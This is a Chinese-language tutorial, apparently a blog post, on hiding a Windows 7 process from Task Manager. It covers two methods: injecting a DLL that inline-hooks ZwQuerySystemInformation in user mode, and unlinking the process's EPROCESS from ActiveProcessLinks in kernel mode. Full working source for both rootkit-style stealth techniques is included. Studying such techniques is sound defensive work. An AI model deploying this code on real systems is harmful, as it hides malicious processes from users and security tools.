進程隱藏技術
次實現是在WIN7 X86系統上進行,實驗要達到的目的就是實現進程的隱藏,以讓任務管理器查不到要隱藏的進程。這里要隱藏的程序是一個簡單的HelloWord彈窗程序,程序名是demo.exe。

用戶層的進程隱藏技術
1、實現原理
用戶層的進程隱藏的實現主要是通過HOOK任務管理器的ZwQuerySystemInformation函數。之所以是這個函數,是因為無論是通過EnumProcess函數還是CreateToolhelp32Snapshot函數來查詢進程,它們最終都會調用ntdll.dll中的ZwQuerySystemInformation函數來實現功能。
所以只要采用DLL注入技術,將DLL注入到要HOOK的進程中,并在DLL加載的時候執行HOOK ZwQuerySystemInformation函數就可以實現進程隱藏。關于如何實現DLL注入請參考這篇常見的幾種DLL注入技術。而對ZwQuerySystemInformation的HOOK采取的是Inline Hook的技術。如何實現Inline Hook請參考這篇內核層的三種HOOK技術。
在IDA中可以看到ZwQuerySystemInformation的實現如下。由于它最開始的五個字節是為eax賦值調用號,所以其實可以根據熱補丁的思想,對這五個字節進行HOOK。然后在HOOK完要執行的函數里面對eax進行重新賦值以后在跳轉到下一行代碼也就是mov edx,0x7FFE0300進行執行。

由于之前寫過熱補丁技術,這里的話就用傳統的HOOK步驟。
① 使用GetProcAddress函數獲取要HOOK的函數的地址,并將其保存。
② 修改前五字節的頁屬性為可讀可寫可執行。
③ 將這五個字節讀出來備份起來。
④ 計算從需要跳轉的大小,公式是:要跳轉的目的地址-(HOOK的函數的地址 + 5)。
⑤ 將計算好距離的跳轉指令寫入函數的這五個字節。
⑥ 還原頁屬性。
UnHook則非常簡單:
① 判斷函數是否被HOOK。
② 修改函數地址頁屬性為可讀可寫可執行。
③ HOOK的時候保存的五個字節寫回到函數地址。
④ 恢復函數地址頁屬性。
在完成HOOK以后執行的函數內部就需要以下的步驟來讓程序正常運行:
① 首先調用UnHook將函數恢復。
② 調用原函數獲取返回結果,將要隱藏的進程隱藏掉。
③ 再次對程序進行HOOK操作。
至于要如何將進程隱藏起來,就需要首先看看ZwQuerySystemInformation在文檔中的定義了。
NTSTATUS WINAPI ZwQuerySystemInformation( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);
參數 說明 SystemInformationClass 要檢索的類型。是一個SYSTEM_INFORMATION_CLASS的聯合體 SystemInformation 指向緩沖區的指針,用于接收請求信息。該信息的大小和結構取決于SystemInformationClass SystemInformationLength SystemInformation參數指向的緩沖區的大小 ReturnLength 一個可選指針,指向函數寫入請求信息的實際大小的位置 |
而SYSTEM_INFORMATION_CLASS,在文檔中的定義如下:
typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;
當它指定為SystemProcessInformation(0x5)的時候,就表示要檢索系統的進程信息。函數將會得到所有的進程信息并把這些得到的進程信息的內容保存到SYSTEM_PROCESS_INFORMATION結構數組,數組中的每一個元素都代表了一個進程信息。而數組的首地址將會保存到第二個參數SystemInformation中。
而SYSTEM_PROCESS_INFORMATION在文檔中的定義如下:
typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; BYTE Reserved1[52]; PVOID Reserved2[3]; HANDLE UniqueProcessId; PVOID Reserved3; ULONG HandleCount; BYTE Reserved4[4]; PVOID Reserved5[11]; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER Reserved6[6];} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
其中的NextEntryOffset代表的是下一個SYSTEM_PROCESS_INFORMATION元素距離現在這個SYSTEM_PROCESS_INFORMATION元數的偏移。
而UniqueProcessId就是查詢到的這個進程的PID。根據它就可以找到要隱藏的進程,并將它從這個結構體數組中斷開,也就是要隱藏進程的SYSTEM_PROCESS_INFORMATION的上一個元數的NextEntryOffset加上當前SYSTEM_PROCESS_INFORMATION的NextEntryOffset。具體代碼實現如下:
// dllmain.cpp : 定義 DLL 應用程序的入口點。#include #include #include #include #define HIDE_PROCESS_NAME "demo.exe" //要隱藏的進程名 typedefNTSTATUS(WINAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); //HOOK以后要執行的函數NTSTATUS WINAPI MyZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);BOOL Hook();BOOL UnHook();VOID ShowError(PCHAR msg);DWORD WINAPI ThreadProc(LPVOID lpParameter);DWORD GetPid(PCHAR pProName); //根據進程名獲取要隱藏的進程的PID DWORD g_dwOrgAddr = 0; //原函數地址CHAR g_szOrgBytes[5] = { 0 }; //保存函數的前五個字節DWORD g_dwHidePID = 0; //要隱藏的進程的PID BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); if (hThread) CloseHandle(hThread); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;} BOOL Hook(){ BOOL bRet = TRUE; HMODULE hNtDll = NULL; pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL; BYTE szShellCode[5] = { 0xE9, 0, 0, 0, 0 }; //寫入跳轉指令的五字節 DWORD dwOldProtect = 0; //保存原來的頁屬性 hNtDll = LoadLibrary("ntdll.dll"); if (hNtDll == NULL) { ShowError("LoadLibrary"); bRet = FALSE; goto exit; } //獲取函數地址 ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hNtDll, "ZwQuerySystemInformation"); if (ZwQuerySystemInformation == NULL) { ShowError("GetProcAddress"); bRet = FALSE; goto exit; } //保存HOOK函數的地址 g_dwOrgAddr = (DWORD)ZwQuerySystemInformation; //修改頁屬性是可讀可寫可執行 if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), PAGE_EXECUTE_READWRITE, &dwOldProtect)) { ShowError("VirtualProtect"); bRet = FALSE; goto exit; } //將原來的五個字節內容保存 if (!ReadProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, g_szOrgBytes, sizeof(g_szOrgBytes), NULL)) { ShowError("ReadProcessMemory"); bRet = FALSE; goto exit; } //計算要跳轉的長度 *(PDWORD)(szShellCode + 1) = (DWORD)MyZwQuerySystemInformation - ((DWORD)ZwQuerySystemInformation + 5); //將shellcode寫入 if (!WriteProcessMemory(GetCurrentProcess(), ZwQuerySystemInformation, szShellCode, sizeof(szShellCode), NULL)) { ShowError("WriteProcessMemory"); bRet = FALSE; goto exit; } //還原頁屬性 if (!VirtualProtect(ZwQuerySystemInformation, sizeof(szShellCode), dwOldProtect, &dwOldProtect)) { ShowError("VirtualProtect"); bRet = FALSE; goto exit; }exit: return bRet;} BOOL UnHook(){ BOOL bRet = TRUE; DWORD dwOldProtect = 0; //保存頁屬性 if (g_dwOrgAddr == 0) { MessageBox(NULL, TEXT("函數還未HOOK"), TEXT("Error"), MB_OK); bRet = FALSE; goto exit; } //修改頁屬性為可讀可寫可執行 if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect)) { ShowError("VirtualProtect"); bRet = FALSE; goto exit; } //將函數中原來的內容恢復回去 if (!WriteProcessMemory(GetCurrentProcess(), (PVOID)g_dwOrgAddr, g_szOrgBytes, sizeof(g_szOrgBytes), NULL)) { ShowError("WriteProcessMemory"); bRet = FALSE; goto exit; } //將頁屬性恢復 if (!VirtualProtect((PVOID)g_dwOrgAddr, sizeof(g_szOrgBytes), dwOldProtect, &dwOldProtect)) { ShowError("VirtualProtect"); bRet = FALSE; goto exit; } g_dwOrgAddr = 0; memset(g_szOrgBytes, 0, sizeof(g_szOrgBytes));exit: return bRet;} NTSTATUS WINAPI MyZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){ NTSTATUS status = 0; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; DWORD dwOrgFuncAddr = 0; //獲取函數地址 dwOrgFuncAddr = g_dwOrgAddr; //卸載HOOK if (!UnHook()) { MessageBox(NULL, TEXT("UnHook失敗"), TEXT("Error"), MB_OK); goto exit; } status = ((pfnZwQuerySystemInformation)dwOrgFuncAddr)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //判斷函數是否調用成功,以及是否是查詢進程的操作 if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation) { pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { //判斷是否是要隱藏的進程 if (g_dwHidePID == (DWORD)pCur->UniqueProcessId) { //將進程隱藏起來 if (pPrev == NULL) SystemInformation = (PBYTE)pCur + pCur->NextEntryOffset; else if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; break; } else pPrev = pCur; //如果沒有下一個成功則退出 if (pCur->NextEntryOffset == 0) break; //將指針指向下一個成員 pCur = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pCur + pCur->NextEntryOffset); } } //重新HOOK if (!Hook()) MessageBox(NULL, TEXT("Hook失敗"), TEXT("Error"), MB_OK);exit: return status;} DWORD WINAPI ThreadProc(LPVOID lpParameter){ g_dwHidePID = GetPid(HIDE_PROCESS_NAME); if (g_dwHidePID == 0) { MessageBox(NULL, TEXT("沒有找到要隱藏的進程"), TEXT("Error"), MB_OK); } else { if (!Hook()) { MessageBox(NULL, TEXT("Hook 失敗"), TEXT("Error"), MB_OK); } else MessageBox(NULL, TEXT("Hook成功"), TEXT("Success"), MB_OK); } return 0;} DWORD GetPid(PCHAR pProName){ PROCESSENTRY32 pe32 = { 0 }; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); BOOL bRet = FALSE; if (hSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot process %d", GetLastError()); return 0; } pe32.dwSize = sizeof(pe32); bRet = Process32First(hSnap, &pe32); while (bRet) { if (lstrcmp(pe32.szExeFile, pProName) == 0) { return pe32.th32ProcessID; } bRet = Process32Next(hSnap, &pe32); } CloseHandle(hSnap); return 0;} VOID ShowError(PCHAR msg){ CHAR szError[105] = { 0 }; sprintf(szError, "%s Error %d", msg, GetLastError()); MessageBox(NULL, szError, TEXT("Error"), MB_OK);}
2.運行結果
在實現注入HOOK函數之前可以看到任務管理器可以查看到打開的demo.exe進程。

完成注入,HOOK成功之后就看不到了。

內核層的進程隱藏技術
1、實現原理
在內核中每一個進程都有對應的一個EPROCESS結構體,在Windows7下這個結構體中的部分成員如下,其中0x16C保存了進程名字的指針。通過這個指針可以獲得當前EPROCESS表示的是哪一個進程。
3: kd> dt _EPROCESSnt!_EPROCESS +0x000 Pcb : _KPROCESS +0x098 ProcessLock : _EX_PUSH_LOCK +0x0a0 CreateTime : _LARGE_INTEGER +0x0a8 ExitTime : _LARGE_INTEGER +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY //進程鏈表 +0x0c0 ProcessQuotaUsage : [2] Uint4B +0x0c8 ProcessQuotaPeak : [2] Uint4B +0x0d0 CommitCharge : Uint4B +0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK +0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK +0x0dc PeakVirtualSize : Uint4B +0x0e0 VirtualSize : Uint4B +0x0e4 SessionProcessLinks : _LIST_ENTRY +0x0ec DebugPort : Ptr32 Void +0x0f0 ExceptionPortData : Ptr32 Void +0x0f0 ExceptionPortValue : Uint4B +0x0f0 ExceptionPortState : Pos 0, 3 Bits +0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : Uint4B +0x100 AddressCreationLock : _EX_PUSH_LOCK +0x104 RotateInProgress : Ptr32 _ETHREAD +0x108 ForkInProgress : Ptr32 _ETHREAD +0x10c HardwareTrigger : Uint4B +0x110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE +0x114 CloneRoot : Ptr32 Void +0x118 NumberOfPrivatePages : Uint4B +0x11c NumberOfLockedPages : Uint4B +0x120 Win32Process : Ptr32 Void +0x124 Job : Ptr32 _EJOB +0x128 SectionObject : Ptr32 Void +0x12c SectionBaseAddress : Ptr32 Void +0x130 Cookie : Uint4B +0x134 Spare8 : Uint4B +0x138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY +0x13c Win32WindowStation : Ptr32 Void +0x140 InheritedFromUniqueProcessId : Ptr32 Void +0x144 LdtInformation : Ptr32 Void +0x148 VdmObjects : Ptr32 Void +0x14c ConsoleHostProcess : Uint4B +0x150 DeviceMap : Ptr32 Void +0x154 EtwDataSource : Ptr32 Void +0x158 FreeTebHint : Ptr32 Void +0x160 PageDirectoryPte : _HARDWARE_PTE +0x160 Filler : Uint8B +0x168 Session : Ptr32 Void +0x16c ImageFileName : [15] UChar //指向進程的名稱 +0x17b PriorityClass : UChar +0x17c JobLinks : _LIST_ENTRY +0x184 LockedPagesList : Ptr32 Void +0x188 ThreadListHead : _LIST_ENTRY
其中偏移0xB8的ActiveProcesssLinks是一個LIST_ENTRY的鏈表,它在文檔中的定義如下:
typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; //指向下一個EPROCESS的ActiveProcessLinks struct _LIST_ENTRY *Blink; //指向上一個EPROCESS的ActiveProcessLinks} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
這是一個雙向鏈表,通過這個鏈表就可以遍歷系統中的所有進程。而用戶層通過API查看進程的時候,就是通過這個鏈表來查找進程的內容。所以只要在內核中將相應進程從這個鏈表中斷鏈就可以實現進程隱藏。但是要注意這個鏈表的中的成員指向的是另一個EPROCESS的ActiveProcessLinks,如下圖所示。所以要獲得這個進程的EPROCESS還需要減去0xB8。

具體實現的代碼如下:
VOID HideProcess(){ PEPROCESS pCurPro = NULL, pPrevPro = NULL; PCHAR pImageFileName = NULL; PLIST_ENTRY pListEntry = NULL; //獲取當前進程的EPROCESS pCurPro = PsGetCurrentProcess(); pPrevPro = pCurPro; do { //獲取EPROCESS的進程名 pImageFileName = (PCHAR)pCurPro + 0x16C; //是否是要隱藏的進程 if (strcmp(pImageFileName, "demo.exe") == 0) { //對進程進行斷鏈操作 pListEntry = (PLIST_ENTRY)((ULONG)pCurPro + 0xB8); pListEntry->Blink->Flink = pListEntry->Flink; pListEntry->Flink->Blink = pListEntry->Blink; DbgPrint("進程%s隱藏成功\r", pImageFileName); } pCurPro = (PEPROCESS)(*(PULONG)((ULONG)pCurPro + 0xB8) - 0xB8); } while (pCurPro != pPrevPro);}
2、運行結果
驅動加載前可以看到任務管理器可以正常查到運行的demo.exe進程。

而當驅動啟動,執行了隱藏進程代碼以后,在任務管理器中就看不到demo.exe了。
